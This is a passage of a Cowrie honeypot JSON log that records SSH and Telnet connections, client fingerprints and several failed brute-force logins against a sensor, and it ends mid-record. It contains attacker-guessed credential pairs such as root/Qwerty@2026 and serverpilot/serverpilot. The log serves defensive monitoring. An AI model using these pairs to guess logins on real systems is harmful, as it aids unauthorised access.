{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":34012,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cb7e7d83ccd","protocol":"ssh","message":"New connection: 103.69.96.120:34012 (159.203.135.109:22) [session: 8cb7e7d83ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:52.269717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:52.273889Z","src_ip":"103.69.96.120","session":"8cb7e7d83ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:52.514338Z","src_ip":"103.69.96.120","session":"8cb7e7d83ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.320196866989136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:53.054040Z","src_ip":"103.52.146.122","session":"3b7dad45c8fb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"23","message":"login attempt [root/23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:53.513596Z","src_ip":"103.69.96.120","session":"8cb7e7d83ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:54.758502Z","src_ip":"103.69.96.120","session":"8cb7e7d83ccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":49668,"dst_ip":"10.17.0.5","dst_port":23,"session":"361e8384bf60","protocol":"telnet","message":"New connection: 217.182.190.44:49668 (10.17.0.5:23) [session: 361e8384bf60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:58.262755Z"}
{"eventid":"cowrie.session.closed","duration":31.20753264427185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:06:58.739538Z","src_ip":"103.52.146.122","session":"ed9be1817eb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":40760,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f5a663aea68","protocol":"telnet","message":"New connection: 20.123.41.163:40760 (10.17.0.5:23) [session: 3f5a663aea68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:11.612597Z"}
{"eventid":"cowrie.session.closed","duration":30.953492641448975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:18.298637Z","src_ip":"103.52.146.122","session":"22bae243c80a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.615952968597412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:18.995885Z","src_ip":"103.52.146.122","session":"da9f1d15789f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.799402475357056,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:20.411879Z","src_ip":"20.123.41.163","session":"3f5a663aea68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":35604,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d3c1db8ab6e","protocol":"ssh","message":"New connection: 181.39.158.30:35604 (159.203.135.109:22) [session: 3d3c1db8ab6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:25.508358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:25.512923Z","src_ip":"181.39.158.30","session":"3d3c1db8ab6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:25.629998Z","src_ip":"181.39.158.30","session":"3d3c1db8ab6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"test123","message":"login attempt [ftpuser/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:26.126188Z","src_ip":"181.39.158.30","session":"3d3c1db8ab6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:27.244812Z","src_ip":"181.39.158.30","session":"3d3c1db8ab6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":35524,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e0526acd8e6","protocol":"telnet","message":"New connection: 217.182.190.44:35524 (10.17.0.5:23) [session: 1e0526acd8e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:32.008371Z"}
{"eventid":"cowrie.session.closed","duration":34.97870135307312,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:33.241322Z","src_ip":"217.182.190.44","session":"361e8384bf60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37196,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb5632056344","protocol":"telnet","message":"New connection: 174.138.46.234:37196 (159.203.135.109:23) [session: cb5632056344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:34.853622Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37206,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bfeffe93a5f","protocol":"telnet","message":"New connection: 174.138.46.234:37206 (159.203.135.109:23) [session: 1bfeffe93a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:34.893701Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37726,"dst_ip":"159.203.135.109","dst_port":23,"session":"0580ac475a16","protocol":"telnet","message":"New connection: 174.138.46.234:37726 (159.203.135.109:23) [session: 0580ac475a16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:36.460420Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37752,"dst_ip":"159.203.135.109","dst_port":23,"session":"2818bd9267ac","protocol":"telnet","message":"New connection: 174.138.46.234:37752 (159.203.135.109:23) [session: 2818bd9267ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:36.522106Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":38124,"dst_ip":"159.203.135.109","dst_port":23,"session":"88e6fbfa0ee1","protocol":"telnet","message":"New connection: 174.138.46.234:38124 (159.203.135.109:23) [session: 88e6fbfa0ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:37.842666Z"}
{"eventid":"cowrie.session.closed","duration":5.769973278045654,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:40.663574Z","src_ip":"174.138.46.234","session":"1bfeffe93a5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.966062307357788,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:40.819555Z","src_ip":"174.138.46.234","session":"cb5632056344","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.96852970123291,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:42.490515Z","src_ip":"174.138.46.234","session":"2818bd9267ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.117307186126709,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:43.959851Z","src_ip":"174.138.46.234","session":"88e6fbfa0ee1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.05524206161499,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:44.515556Z","src_ip":"174.138.46.234","session":"0580ac475a16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":58538,"dst_ip":"159.203.135.109","dst_port":22,"session":"2edaeb9e635e","protocol":"ssh","message":"New connection: 103.69.96.120:58538 (159.203.135.109:22) [session: 2edaeb9e635e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:52.695213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:52.700837Z","src_ip":"103.69.96.120","session":"2edaeb9e635e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:52.949242Z","src_ip":"103.69.96.120","session":"2edaeb9e635e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty@2026","message":"login attempt [root/Qwerty@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:53.968709Z","src_ip":"103.69.96.120","session":"2edaeb9e635e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:55.218473Z","src_ip":"103.69.96.120","session":"2edaeb9e635e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":35398,"dst_ip":"10.17.0.5","dst_port":23,"session":"e94d2551f15f","protocol":"telnet","message":"New connection: 20.123.41.163:35398 (10.17.0.5:23) [session: e94d2551f15f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:07:56.704667Z"}
{"eventid":"cowrie.session.closed","duration":32.07886266708374,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:08:04.087101Z","src_ip":"217.182.190.44","session":"1e0526acd8e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":53333,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e5179dd4877","protocol":"ssh","message":"New connection: 154.117.199.5:53333 (10.17.0.5:22) [session: 3e5179dd4877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:08:22.448444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:08:22.683705Z","src_ip":"154.117.199.5","session":"3e5179dd4877","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:08:22.917012Z","src_ip":"154.117.199.5","session":"3e5179dd4877","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.5957887172699,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:08:35.300325Z","src_ip":"20.123.41.163","session":"e94d2551f15f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":48946,"dst_ip":"159.203.135.109","dst_port":22,"session":"3951387e4bc6","protocol":"ssh","message":"New connection: 181.39.158.30:48946 (159.203.135.109:22) [session: 3951387e4bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:08:39.563079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:08:39.568957Z","src_ip":"181.39.158.30","session":"3951387e4bc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:08:39.689012Z","src_ip":"181.39.158.30","session":"3951387e4bc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"serverpilot","password":"serverpilot","message":"login attempt [serverpilot/serverpilot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:08:40.197432Z","src_ip":"181.39.158.30","session":"3951387e4bc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:08:41.323524Z","src_ip":"181.39.158.30","session":"3951387e4bc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":34228,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c15e163bbd8","protocol":"telnet","message":"New connection: 217.182.190.44:34228 (10.17.0.5:23) [session: 0c15e163bbd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:08:47.432099Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":56622,"dst_ip":"159.203.135.109","dst_port":22,"session":"e09372c7e341","protocol":"ssh","message":"New connection: 103.69.96.120:56622 (159.203.135.109:22) [session: e09372c7e341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:08:52.309203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:08:52.313772Z","src_ip":"103.69.96.120","session":"e09372c7e341","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:08:52.563855Z","src_ip":"103.69.96.120","session":"e09372c7e341","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin520","message":"login attempt [root/admin520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:08:53.567106Z","src_ip":"103.69.96.120","session":"e09372c7e341","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:08:54.814490Z","src_ip":"103.69.96.120","session":"e09372c7e341","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34130,"dst_ip":"159.203.135.109","dst_port":23,"session":"c46c471cb11a","protocol":"telnet","message":"New connection: 174.138.46.234:34130 (159.203.135.109:23) [session: c46c471cb11a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:08:59.338779Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27008,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe3fc40d0c50","protocol":"ssh","message":"New connection: 87.251.64.176:27008 (10.17.0.5:22) [session: fe3fc40d0c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:03.926753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:09:03.932084Z","src_ip":"87.251.64.176","session":"fe3fc40d0c50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-